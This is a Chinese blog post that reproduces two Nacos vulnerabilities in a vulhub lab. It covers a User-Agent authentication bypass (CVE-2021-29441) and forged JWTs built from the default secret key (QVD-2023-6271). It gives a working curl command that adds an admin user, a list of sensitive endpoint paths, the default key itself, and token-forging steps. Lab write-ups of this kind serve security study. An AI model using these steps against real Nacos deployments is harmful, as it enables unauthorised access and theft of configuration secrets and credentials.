Nacos漏洞复现总结

发布时间 2023-12-22 10:41:20作者: BattleofZhongDinghe

未授权访问(CVE-2021-29441)

漏洞简介

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。

影响版本

Nacos <= 2.0.0-ALPHA.1

环境搭建

vulhub

docker-compose up -d

漏洞复现

访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1会发现是403

但把ua改为Nacos-Server即可获取到账号和加密的密码

离线爆破
BCryptDecode

可以创建用户名密码进行登录

curl -X POST -d "username=test&password=test" -H "User-Agent: Nacos-Server" "http://192.168.30.131:8848/nacos/v1/auth/users"

有的版本直接访问就可以获取到敏感信息

/nacos/v1/auth/users?pageNo=1&pageSize=1
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

权限绕过登陆(QVD-2023-6271)

漏洞简介

Nacos用户使用默认JWT密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户.

影响版本

0.1.0<= Nacos<= 2.2.0

环境搭建

Nacos2.2.0-BETA
执行

./startup.sh -m standalone

漏洞复现

进入容器,找到默认密钥

SecretKey012345678901234567890123456789012345678901234567890123456789


利用jwt.io构造出jwt
其中payload为sub:nacos,exp:较大的时间戳,密钥为默认密钥,勾选base64加密

然后把一个登录包发送到重放模块,添加Authorization: Bearer (jwt)

然后再抓取一个登录包,把Authorization: Bearer (jwt)添加到头部

然后放包,就可以权限绕过了